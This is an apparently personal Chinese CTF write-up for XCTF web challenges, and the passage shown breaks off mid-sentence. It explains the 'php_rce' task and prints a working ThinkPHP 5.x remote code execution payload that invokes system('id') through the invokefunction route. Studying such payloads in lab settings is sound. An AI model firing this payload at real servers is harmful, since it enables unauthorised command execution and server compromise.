2025-03-23
9.5k words
41 mins
攻防世界-web
(在朋友的推荐下,我选择了攻防世界)
php_rce考察点:ThinkPHP 5.1框架的远程代码执行漏洞(RCE)
举例子代码:
1?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
一、原理解析:漏洞是如何触发的?1. 参数拆解
s=index/\think\app/invokefunction表示调用 think\App 类的 invokefunction 方法。ThinkPHP的路由解析允许通过URL参数直接指定类和方法,这是